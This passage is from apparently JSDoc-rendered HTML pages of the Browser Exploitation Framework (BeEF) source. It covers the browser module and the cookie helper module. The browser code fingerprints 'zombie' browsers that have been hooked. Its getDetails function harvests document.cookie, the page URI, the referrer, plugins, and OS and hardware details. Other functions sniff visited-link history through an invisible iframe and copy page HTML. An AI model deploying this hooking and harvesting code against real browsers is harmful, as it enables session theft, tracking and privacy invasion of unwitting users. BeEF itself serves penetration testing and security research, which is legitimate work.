Sometimes store the version in description (Real, Adobe)\n                else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;\n            }\n            results = unique(results).toString();\n            \n            // All browsers that don't support navigator.plugins\n        } else {\n            results = new Array();\n            //firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726\n            // On linux sistem the \"version\" slot is empty so I'll attach \"description\" after version\n            var plugins = {\n\n                'AdobeAcrobat': {\n                    'control': 'Adobe Acrobat',\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins[\"Adobe Acrobat\"][\"description\"];\n                            return 'Adobe Acrobat Version  ' + version; //+ \" description \"+ filename;\n\n                        }\n                        catch (e) {\n                        }\n\n\n                    }},\n                'Flash': {\n                    'control': 'Shockwave Flash',\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins[\"Shockwave Flash\"][\"description\"];\n                            return 'Flash Player Version ' + version; //+ \" description \"+ filename;\n                        }\n\n                        catch (e) {\n                        }\n                    }},\n                'Google_Talk_Plugin_Accelerator': {\n                    'control': 'Google Talk Plugin Video Accelerator',\n                    'return': function (control) {\n\n                        try {\n                            version = navigator.plugins['Google Talk Plugin Video Accelerator'][\"description\"];\n                            return 'Google Talk Plugin Video Accelerator Version ' + version; //+ \" description \"+ filename;\n                        }\n                        catch (e) {\n                        }\n                    }},\n                'Google_Talk_Plugin': {\n                    'control': 'Google Talk Plugin',\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins['Google Talk Plugin'][\"description\"];\n                            return 'Google Talk Plugin Version ' + version;// \" description \"+ filename;\n                        }\n                        catch (e) {\n                        }\n                    }},\n                'Facebook_Video_Calling_Plugin': {\n                    'control': 'Facebook Video Calling Plugin',\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins[\"Facebook Video Calling Plugin\"][\"description\"];\n                            return 'Facebook Video Calling Plugin Version ' + version;//+ \" description \"+ filename;\n                        }\n                        catch (e) {\n                        }\n                    }},\n                'Google_Update': {\n                    'control': 'Google Update',\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins[\"Google Update\"][\"description\"];\n                            return 'Google Update Version ' + version//+ \" description \"+ filename;\n                        }\n                        catch (e) {\n                        }\n                    }},\n                'Windows_Activation_Technologies': {\n                    'control': 'Windows Activation Technologies',\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins[\"Windows Activation Technologies\"][\"description\"];\n                            return 'Windows Activation Technologies Version ' + version;//+ \" description \"+ filename;\n                        }\n                        catch (e) {\n                        }\n\n                    }},\n                'VLC_Web_Plugin': {\n                    'control': 'VLC Web Plugin',\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins[\"VLC Web Plugin\"][\"description\"];\n                            return 'VLC Web Plugin Version ' + version;//+ \" description \"+ filename;\n                        }\n                        catch (e) {\n                        }\n                    }},\n                'Google_Earth_Plugin': {\n                    'control': 'Google Earth Plugin',\n\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins['Google Earth Plugin'][\"description\"];\n                            return 'Google Earth Plugin Version ' + version;//+ \" description \"+ filename;\n                        }\n                        catch (e) {\n                        }\n                    }},\n                'FoxitReader_Plugin': {\n                    'control': 'FoxitReader Plugin',\n                    'return': function (control) {\n                        try {\n                            version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version'];\n                            return 'FoxitReader Plugin Version ' + version;\n                        } catch (e) {\n                        }\n                    }}\n            };\n\n            var c = 0;\n            for (var i in plugins) {\n                //each element od plugins\n                var control = plugins[i]['control'];\n                try {\n                    var version = plugins[i]['return'](control);\n                    if (version) {\n                        results[c] = version;\n                        c = c + 1;\n                    }\n                }\n                catch (e) {\n                }\n\n            }\n        }\n        // Return results\n        return results;\n    },\n\n    /**\n     * Returns a list of plugins detected by IE. This is a hack because IE doesn't\n     * support navigator.plugins\n     */\n    getPluginsIE: function () {\n        var results = '';\n        var plugins = {\n            'AdobePDF6': {\n                'control': 'PDF.PdfCtrl',\n            'return': function (control) {\n                version = control.getVersions().split(',');\n                version = version[0].split('=');\n                return 'Acrobat Reader v' + parseFloat(version[1]);\n            }},\n            'AdobePDF7': {\n                'control': 'AcroPDF.PDF',\n                'return': function (control) {\n                    version = control.getVersions().split(',');\n                    version = version[0].split('=');\n                    return 'Acrobat Reader v' + parseFloat(version[1]);\n                }},\n            'Flash': {\n                'control': 'ShockwaveFlash.ShockwaveFlash',\n                'return': function (control) {\n                    version = control.getVariable('$version').substring(4);\n                    return 'Flash Player v' + version.replace(/,/g, \".\");\n                }},\n            'Quicktime': {\n                'control': 'QuickTime.QuickTime',\n                'return': function (control) {\n                    return 'QuickTime Player';\n                }},\n            'RealPlayer': {\n                'control': 'RealPlayer',\n                'return': function (control) {\n                    version = control.getVersionInfo();\n                    return 'RealPlayer v' + parseFloat(version);\n                }},\n            'Shockwave': {\n                'control': 'SWCtl.SWCtl',\n                'return': function (control) {\n                    version = control.ShockwaveVersion('').split('r');\n                    return 'Shockwave v' + parseFloat(version[0]);\n                }},\n            'WindowsMediaPlayer': {\n                'control': 'WMPlayer.OCX',\n                'return': function (control) {\n                    return 'Windows Media Player v' + parseFloat(control.versionInfo);\n                }},\n            'FoxitReaderPlugin': {\n                'control': 'FoxitReader.FoxitReaderCtl.1',\n                'return': function (control) {\n                    return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo);\n                }}\n        };\n        if (window.ActiveXObject) {\n            var j = 0;\n            for (var i in plugins) {\n                var control = null;\n                var version = null;\n                try {\n                    control = new ActiveXObject(plugins[i]['control']);\n                } catch (e) {\n                }\n                if (control) {\n                    if (j != 0)\n                        results += ', ';\n                    results += plugins[i]['return'](control);\n                    j++;\n                }\n            }\n        }\n        return results;\n    },\n\n    /**\n     * Returns zombie browser window size.\n     * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow\n     */\n    getWindowSize: function () {\n        var myWidth = 0, myHeight = 0;\n        if (typeof( window.innerWidth ) == 'number') {\n            // Non-IE\n            myWidth = window.innerWidth;\n            myHeight = window.innerHeight;\n        } else if (document.documentElement &amp;&amp; ( document.documentElement.clientWidth || document.documentElement.clientHeight )) {\n            // IE 6+ in 'standards compliant mode'\n            myWidth = document.documentElement.clientWidth;\n            myHeight = document.documentElement.clientHeight;\n        } else if (document.body &amp;&amp; ( document.body.clientWidth || document.body.clientHeight )) {\n            // IE 4 compatible\n            myWidth = document.body.clientWidth;\n            myHeight = document.body.clientHeight;\n        }\n        return {\n            width: myWidth,\n            height: myHeight\n        }\n    },\n\n    /**\n     * Construct hash from browser details. This function is used to grab the browser details during the hooking process\n     */\n    getDetails: function () {\n        var details = new Array();\n\n        var browser_name = beef.browser.getBrowserName();\n        var browser_version = beef.browser.getBrowserVersion();\n        var browser_engine = beef.browser.getBrowserEngine();\n        var browser_reported_name = beef.browser.getBrowserReportedName();\n        var browser_language = beef.browser.getBrowserLanguage();\n        var page_title = (document.title) ? document.title : \"Unknown\";\n        var origin = (window.origin) ? window.origin : \"Unknown\";\n        var page_uri = (document.location.href) ? document.location.href : \"Unknown\";\n        var page_referrer = (document.referrer) ? document.referrer : \"Unknown\";\n        var page_hostname = (document.location.hostname) ? document.location.hostname : \"Unknown\";\n        var default_port = \"\";\n        switch (document.location.protocol) {\n        case \"http:\":\n            var default_port = \"80\";\n            break;\n        case \"https:\":\n            var default_port = \"443\";\n            break;\n        }\n        var page_hostport = (document.location.port) ? document.location.port : default_port;\n        var browser_plugins = beef.browser.getPlugins();\n        var date_stamp = new Date().toString();\n        var os_name = beef.os.getName();\n        var os_family = beef.os.getFamily();\n        var os_version = beef.os.getVersion();\n        var os_arch = beef.os.getArch();\n        var default_browser = beef.os.getDefaultBrowser();\n        var hw_type = beef.hardware.getName();\n        var battery_details = beef.hardware.getBatteryDetails();\n        try {\n          var battery_charging_status = battery_details.chargingStatus;\n          var battery_level = battery_details.batteryLevel;\n          var battery_charging_time = battery_details.chargingTime;\n          var battery_discharging_time = battery_details.dischargingTime;\n        } catch(e) {}\n        var memory = beef.hardware.getMemory();\n        var cpu_arch = beef.hardware.getCpuArch();\n        var cpu_cores = beef.hardware.getCpuCores();\n        var gpu_details = beef.hardware.getGpuDetails();\n        try {\n          var gpu = gpu_details.gpu;\n          var gpu_vendor = gpu_details.vendor;\n        } catch(e) {}\n        var touch_enabled = (beef.hardware.isTouchEnabled()) ? \"Yes\" : \"No\";\n        var browser_platform = (typeof(navigator.platform) != \"undefined\" &amp;&amp; navigator.platform != \"\") ? navigator.platform : 'Unknown';\n        var screen_size = beef.hardware.getScreenSize();\n        try {\n          var screen_width = screen_size.width;\n          var screen_height = screen_size.height;\n          var screen_colordepth = screen_size.colordepth;\n        } catch(e) {}\n        var window_size = beef.browser.getWindowSize();\n        try {\n          window_width = window_size.width;\n          window_height = window_size.height;\n        } catch(e) {}\n        var vbscript_enabled = (beef.browser.hasVBScript()) ? \"Yes\" : \"No\";\n        var has_flash = (beef.browser.hasFlash()) ? \"Yes\" : \"No\";\n        var has_silverlight = (beef.browser.hasSilverlight()) ? \"Yes\" : \"No\";\n        var has_phonegap = (beef.browser.hasPhonegap()) ? \"Yes\" : \"No\";\n        var has_googlegears = (beef.browser.hasGoogleGears()) ? \"Yes\" : \"No\";\n        var has_web_socket = (beef.browser.hasWebSocket()) ? \"Yes\" : \"No\";\n        var has_web_worker = (beef.browser.hasWebWorker()) ? \"Yes\" : \"No\";\n        var has_web_gl = (beef.browser.hasWebGL()) ? \"Yes\" : \"No\";\n        var has_webrtc = (beef.browser.hasWebRTC()) ? \"Yes\" : \"No\";\n        var has_activex = (beef.browser.hasActiveX()) ? \"Yes\" : \"No\";\n        var has_quicktime = (beef.browser.hasQuickTime()) ? \"Yes\" : \"No\";\n        var has_realplayer = (beef.browser.hasRealPlayer()) ? \"Yes\" : \"No\";\n        var has_wmp = (beef.browser.hasWMP()) ? \"Yes\" : \"No\";\n        var has_vlc = (beef.browser.hasVLC()) ? \"Yes\" : \"No\";\n\n        try {\n            var cookies = document.cookie;\n            if (cookies) details['browser.window.cookies'] = cookies;\n        } catch (e) {\n            beef.debug(\"Cookies can't be read. The hooked origin is most probably using HttpOnly.\");\n            details['browser.window.cookies'] = '';\n        }\n\n        if (browser_name) details['browser.name'] = browser_name;\n        if (browser_version) details['browser.version'] = browser_version;\n        if (browser_engine) details['browser.engine'] = browser_engine;\n        if (browser_reported_name) details['browser.name.reported'] = browser_reported_name;\n        if (browser_platform) details['browser.platform'] = browser_platform;\n        if (browser_language) details['browser.language'] = browser_language;\n        if (browser_plugins) details['browser.plugins'] = browser_plugins;\n\n        if (page_title) details['browser.window.title'] = page_title;\n        if (origin) details['browser.window.origin'] = origin;\n        if (page_hostname) details['browser.window.hostname'] = page_hostname;\n        if (page_hostport) details['browser.window.hostport'] = page_hostport;\n        if (page_uri) details['browser.window.uri'] = page_uri;\n        if (page_referrer) details['browser.window.referrer'] = page_referrer;\n        if (window_width) details['browser.window.size.width'] = window_width;\n        if (window_height) details['browser.window.size.height'] = window_height;\n        if (date_stamp) details['browser.date.datestamp'] = date_stamp;\n\n        if (os_name) details['host.os.name'] = os_name;\n        if (os_family) details['host.os.family'] = os_family;\n        if (os_version) details['host.os.version'] = os_version;\n        if (os_arch) details['host.os.arch'] = os_arch;\n\n        if (default_browser) details['host.software.defaultbrowser'] = default_browser;\n\n        if (hw_type) details['hardware.type'] = hw_type;\n        if (memory) details['hardware.memory'] = memory;\n        if (gpu) details['hardware.gpu'] = gpu;\n        if (gpu_vendor) details['hardware.gpu.vendor'] = gpu_vendor;\n        if (cpu_arch) details['hardware.cpu.arch'] = cpu_arch;\n        if (cpu_cores) details['hardware.cpu.cores'] = cpu_cores;\n\n        if (battery_charging_status) details['hardware.battery.chargingstatus'] = battery_charging_status;\n        if (battery_level) details['hardware.battery.level'] = battery_level;\n        if (battery_charging_time) details['hardware.battery.chargingtime'] = battery_charging_time;\n        if (battery_discharging_time) details['hardware.battery.dischargingtime'] = battery_discharging_time;\n\n        if (screen_width) details['hardware.screen.size.width'] = screen_width;\n        if (screen_height) details['hardware.screen.size.height'] = screen_height;\n        if (screen_colordepth) details['hardware.screen.colordepth'] = screen_colordepth;\n        if (touch_enabled) details['hardware.screen.touchenabled'] = touch_enabled;\n\n        if (vbscript_enabled) details['browser.capabilities.vbscript'] = vbscript_enabled;\n        if (has_flash) details['browser.capabilities.flash'] = has_flash;\n        if (has_silverlight) details['browser.capabilities.silverlight'] = has_silverlight;\n        if (has_phonegap) details['browser.capabilities.phonegap'] = has_phonegap;\n        if (has_web_socket) details['browser.capabilities.websocket'] = has_web_socket;\n        if (has_webrtc) details['browser.capabilities.webrtc'] = has_webrtc;\n        if (has_web_worker) details['browser.capabilities.webworker'] = has_web_worker;\n        if (has_web_gl) details['browser.capabilities.webgl'] = has_web_gl;\n        if (has_googlegears) details['browser.capabilities.googlegears'] = has_googlegears;\n        if (has_activex) details['browser.capabilities.activex'] = has_activex;\n        if (has_quicktime) details['browser.capabilities.quicktime'] = has_quicktime;\n        if (has_realplayer) details['browser.capabilities.realplayer'] = has_realplayer;\n        if (has_wmp) details['browser.capabilities.wmp'] = has_wmp;\n        if (has_vlc) details['browser.capabilities.vlc'] = has_vlc;\n\n        return details;\n    },\n\n    /**\n     * Returns boolean value depending on whether the browser supports ActiveX\n     */\n    hasActiveX: function () {\n        return !!window.ActiveXObject;\n    },\n\n    /**\n     * Returns boolean value depending on whether the browser supports WebRTC\n     */\n    hasWebRTC: function () {\n        return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);\n    },\n\n    /**\n     * Returns boolean value depending on whether the browser supports Silverlight\n     */\n    hasSilverlight: function () {\n        var result = false;\n\n        try {\n            if (beef.browser.hasActiveX()) {\n                var slControl = new ActiveXObject('AgControl.AgControl');\n                result = true;\n            } else if (navigator.plugins[\"Silverlight Plug-In\"]) {\n                result = true;\n            }\n        } catch (e) {\n            result = false;\n        }\n\n        return result;\n    },\n\n    /**\n     * Returns array of results, whether or not the target zombie has visited the specified URL\n     */\n    hasVisited: function (urls) {\n        var results = new Array();\n        var iframe = beef.dom.createInvisibleIframe();\n        var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;\n        ifdoc.open();\n        ifdoc.write('&lt;style>a:visited{width:0px !important;}&lt;/style>');\n        ifdoc.close();\n        urls = urls.split(\"\\n\");\n        var count = 0;\n        for (var i in urls) {\n            var u = urls[i];\n            if (u != \"\" || u != null) {\n                var success = false;\n                var a = ifdoc.createElement('a');\n                a.href = u;\n                ifdoc.body.appendChild(a);\n                var width = null;\n                (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue(\"width\");\n                if (width == '0px') {\n                    success = true;\n                }\n                results.push({'url': u, 'visited': success});\n                count++;\n            }\n        }\n        beef.dom.removeElement(iframe);\n        if (results.length == 0) {\n            return false;\n        }\n        return results;\n    },\n\n    /**\n     * Checks if the zombie has Web Sockets enabled.\n     * @return: {Boolean} true or false.\n     * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket\n     * */\n    hasWebSocket: function () {\n        return !!window.WebSocket || !!window.MozWebSocket;\n    },\n\n    /**\n     * Checks if the zombie has Web Workers enabled.\n     * @return: {Boolean} true or false.\n     * */\n    hasWebWorker: function () {\n        return (typeof(Worker) !== \"undefined\");\n    },\n\n    /**\n     * Checks if the zombie has WebGL enabled.\n     * @return: {Boolean} true or false.\n     *\n     * @from: https://github.com/idofilin/webgl-by-example/blob/master/detect-webgl/detect-webgl.js\n     * */\n    hasWebGL: function () {\n        try {\n            var canvas = document.createElement(\"canvas\");\n            var gl = canvas.getContext(\"webgl\") || canvas.getContext(\"experimental-webgl\");\n            return !!(gl &amp;&amp; gl instanceof WebGLRenderingContext);\n        } catch(e) {\n            return false;\n        }\n    },\n\n    /**\n     * Checks if the zombie has Google Gears installed.\n     * @return: {Boolean} true or false.\n     *\n     * @from: https://code.google.com/apis/gears/gears_init.js\n     * */\n    hasGoogleGears: function () {\n\n        var ggfactory = null;\n\n        // Chrome\n        if (window.google &amp;&amp; google.gears) return true;\n\n        // Firefox\n        if (typeof GearsFactory != 'undefined') {\n            ggfactory = new GearsFactory();\n        } else {\n            // IE\n            try {\n                ggfactory = new ActiveXObject('Gears.Factory');\n                // IE Mobile on WinCE.\n                if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {\n                    ggfactory.privateSetGlobalObject(this);\n                }\n            } catch (e) {\n                // Safari\n                if ((typeof navigator.mimeTypes != 'undefined')\n                    &amp;&amp; navigator.mimeTypes[\"application/x-googlegears\"]) {\n                    ggfactory = document.createElement(\"object\");\n                    ggfactory.style.display = \"none\";\n                    ggfactory.width = 0;\n                    ggfactory.height = 0;\n                    ggfactory.type = \"application/x-googlegears\";\n                    document.documentElement.appendChild(ggfactory);\n                    if (ggfactory &amp;&amp; (typeof ggfactory.create == 'undefined')) ggfactory = null;\n                }\n            }\n        }\n        if (!ggfactory) return false; else return true;\n    },\n\n    /**\n     * Checks if the zombie has Foxit PDF reader plugin.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if(beef.browser.hasFoxit()) { ... }\n     * */\n    hasFoxit: function () {\n\n        var foxitplugin = false;\n\n        try {\n            if (beef.browser.hasActiveX()) {\n                var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1');\n                foxitplugin = true;\n            } else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) {\n                foxitplugin = true;\n            }\n        } catch (e) {\n            foxitplugin = false;\n        }\n\n        return foxitplugin;\n    },\n\n    /**\n     * Returns the page head HTML\n     **/\n    getPageHead: function () {\n        var html_head;\n        try {\n            html_head = document.head.innerHTML.toString();\n        } catch (e) {\n        }\n        return html_head;\n    },\n\n    /**\n     * Returns the page body HTML\n     **/\n    getPageBody: function () {\n        var html_body;\n        try {\n            html_body = document.body.innerHTML.toString();\n        } catch (e) {\n        }\n        return html_body;\n    },\n\n    /**\n     * Dynamically changes the favicon: works in Firefox, Chrome and Opera\n     **/\n    changeFavicon: function (favicon_url) {\n        var iframe = null;\n        if (this.isC()) {\n            iframe = document.createElement('iframe');\n            iframe.src = 'about:blank';\n            iframe.style.display = 'none';\n            document.body.appendChild(iframe);\n        }\n        var link = document.createElement('link'),\n            oldLink = document.getElementById('dynamic-favicon');\n        link.id = 'dynamic-favicon';\n        link.rel = 'shortcut icon';\n        link.href = favicon_url;\n        if (oldLink) document.head.removeChild(oldLink);\n        document.head.appendChild(link);\n        if (this.isC()) iframe.src += '';\n    },\n\n    /**\n     * Changes page title\n     **/\n    changePageTitle: function (title) {\n        document.title = title;\n    },\n\n    /**\n     * Get the browser language\n     */\n    getBrowserLanguage: function () {\n        var l = 'Unknown';\n        try {\n            l = window.navigator.userLanguage || window.navigator.language;\n        } catch (e) {\n        }\n        return l;\n    },\n\n    /**\n     *  A function that gets the max number of simultaneous connections the\n     *  browser can make per origin, or globally on all origin.\n     *\n     *  This code is based on research from browserspy.dk\n     *\n     * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}\n     * @return {Object} A jQuery deferred object promise, which when resolved passes\n     *    the number of connections to the callback function as \"this\"\n     */\n\n\n\n    getMaxConnections: function (scope) {\n        /*\n        *    example usage:\n        *        $j.when(getMaxConnections()).done(function(){\n        *            console.debug(\"Max Connections: \" + this);\n        *            }); \n        */\n        var imagesCount = 30;\t\t// Max number of images to test\n        var secondsTimeout = 5;\t\t// Image load timeout threashold\n        var testUrl = \"\";\t\t// The image testing service URL\n\n        // User broserspy.dk max connections service URL.\n        if (scope == 'PER_DOMAIN')\n            testUrl = \"http://browserspy.dk/connections.php?img=1&amp;amp;random=\";\n        else\n            // The token will be replaced by a different number with each request (different origin).\n            testUrl = \"http://&lt;token>.browserspy.dk/connections.php?img=1&amp;amp;random=\";\n\n        var imagesLoaded = 0;\t\t\t// Number of responding images before timeout.\n        var imagesRequested = 0;\t\t// Number of requested images.\n        var testImages = new Array();\t\t// Array of all images.\n        var deferredObject = $j.Deferred();\t// A jquery Deferred object.\n\n        for (var i = 1; i &lt;= imagesCount; i++) {\n            // Asynchronously request image.\n            testImages[i] =\n                $j.ajax({\n                    type: \"get\",\n                    dataType: true,\n                    url: (testUrl.replace(\"&lt;token>\", i)) + Math.random(),\n                    data: \"\",\n                    timeout: (secondsTimeout * 1000),\n\n                    // Function on completion of request.\n                    complete: function (jqXHR, textStatus) {\n\n                        imagesRequested++;\n\n                        // If the image returns a 200 or a 302, the text Status is \"error\", else null\n                        if (textStatus == \"error\") {\n                            imagesLoaded++;\n                        }\n\n                        // If all images requested\n                        if (imagesRequested >= imagesCount) {\n                            // resolve the deferred object passing the number of loaded images.\n                            deferredObject.resolveWith(imagesLoaded);\n                        }\n                    }\n                });\n\n        }\n\n        // Return a promise to resolve the deffered object when the images are loaded.\n        return deferredObject.promise();\n\n    }\n\n};\n\nbeef.regCmp('beef.browser');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/browser_cookie.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: browser/cookie.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: browser/cookie.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides fuctions for working with cookies. \n * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php\n * Original author unknown.\n * @namespace beef.browser.cookie\n */\nbeef.browser.cookie = {\n\t\n\t\t/** @memberof beef.browser.cookie */\n\t\tsetCookie: function (name, value, expires, path, domain, secure) \n\t\t{\n\t\n\t\t\tvar today = new Date();\n\t\t\ttoday.setTime( today.getTime() );\n\t\n\t\t\tif ( expires )\n\t\t\t{\n\t\t\t\texpires = expires * 1000 * 60 * 60 * 24;\n\t\t\t}\n\t\t\tvar expires_date = new Date( today.getTime() + (expires) );\n\t\n\t\t\tdocument.cookie = name + \"=\" +escape( value ) +\n\t\t\t\t( ( expires ) ? \";expires=\" + expires_date.toGMTString() : \"\" ) +\n\t\t\t\t( ( path ) ? \";path=\" + path : \"\" ) +\n\t\t\t\t( ( domain ) ? \";domain=\" + domain : \"\" ) +\n\t\t\t\t( ( secure ) ? \";secure\" : \"\" );\n\t\t},\n\t\t/** @memberof beef.browser.cookie */\n\t\tgetCookie: function(name) \n\t\t{\n\t\t\tvar a_all_cookies = document.cookie.split( ';' );\n\t\t\tvar a_temp_cookie = '';\n\t\t\tvar cookie_name = '';\n\t\t\tvar cookie_value = '';\n\t\t\tvar b_cookie_found = false;\n\t\t\t\n\t\t\tfor ( i = 0; i &lt; a_all_cookies.length; i++ )\n\t\t\t{\n\t\t\t\ta_temp_cookie = a_all_cookies[i].split( '=' );\n\t\t\t\tcookie_name = a_temp_cookie[0].replace(/^\\s+|\\s+$/g, '');\n\t\t\t\tif ( cookie_name == name )\n\t\t\t\t{\n\t\t\t\t\tb_cookie_found = true;\n\t\t\t\t\tif ( a_temp_cookie.length > 1 )\n\t\t\t\t\t{\n\t\t\t\t\t\tcookie_value = unescape( a_temp_cookie[1].replace(/^\\s+|\\s+$/g, '') );\n\t\t\t\t\t}\n\t\t\t\t\treturn cookie_value;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\ta_temp_cookie = null;\n\t\t\t\tcookie_name = '';\n\t\t\t}\n\t\t\tif ( !b_cookie_found )\n\t\t\t{\n\t\t\t\treturn null;\n\t\t\t}\n\t\t},\n\t\t/** @memberof beef.browser.cookie */\n\t\tdeleteCookie: function (name, path, domain) \n\t\t{\n\t\t\tif ( this.getCookie(name) ) document.cookie = name + \"=\" +\n\t\t\t( ( path ) ? \";path=\" + path : \"\") +\n\t\t\t( ( domain ) ? \";domain=\" + domain : \"\" ) +\n\t\t\t\";expires=Thu, 01-Jan-1970 00:00:01 GMT\";\n\t\t},\n\n\t    /** @memberof beef.browser.cookie */\n\t\tcookieValueRandomizer: function (){\n\t\t\tvar to_hell= '';\n\t\t\tvar min = 17;\n\t\t\tvar max = 25;\n\t\t\tvar lol_length = Math.floor(Math.random() * (max - min + 1)) + min;\n\n\t\t\tvar grunt = function(){\n\t\t\t\tvar moo = Math.floor(Math.random() * 62);\n\t\t\t\tvar char = '';\n\t\t\t\tif(moo &lt; 36){\n\t\t\t\t\tchar = String.fromCharCode(moo + 55);\n\t\t\t\t}else{\n\t\t\t\t\tchar = String.fromCharCode(moo + 61);\n\t\t\t\t}\n\t\t\t\tif(char != ';' &amp;&amp; char != '='){\n\t\t\t\t\treturn char;\n\t\t\t\t}else{\n\t\t\t\t\treturn 'x';\n\t\t\t\t}\n\t\t\t};\n\n\t\t\twhile(to_hell.length &lt; lol_length){\n\t\t\t\tto_hell += grunt();\n\t\t\t}\n\t\t\treturn to_hell;\n\t\t},\n\t\t/** @memberof beef.browser.cookie */\n\t\thasSessionCookies: function (name){\n\t\t\tthis.setCookie( name, beef.browser.cookie.cookieValueRandomizer(), '', '/', '', '' );\n\n\t\t\tcookiesEnabled = (this.getCookie(name) == null)? false:true;\n\t\t\tthis.deleteCookie(name, '/', '');\n\t\t\treturn cookiesEnabled;\n\t\t\t\n\t\t},\n\t\t/** @memberof beef.browser.cookie */\n\t\thasPersistentCookies: function (name){\n\t\t\tthis.setCookie( name, beef.browser.cookie.cookieValueRandomizer(), 1, '/', '', '' );\n\n\t\t\tcookiesEnabled = (this.getCookie(name) == null)? false:true;\n\t\t\tthis.deleteCookie(name, '/', '');\n\t\t\treturn cookiesEnabled;\n\t\t\t\n\t\t}\t\n\t\t\t\t\t\n};\n\nbeef.regCmp('beef.browser.cookie');</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br 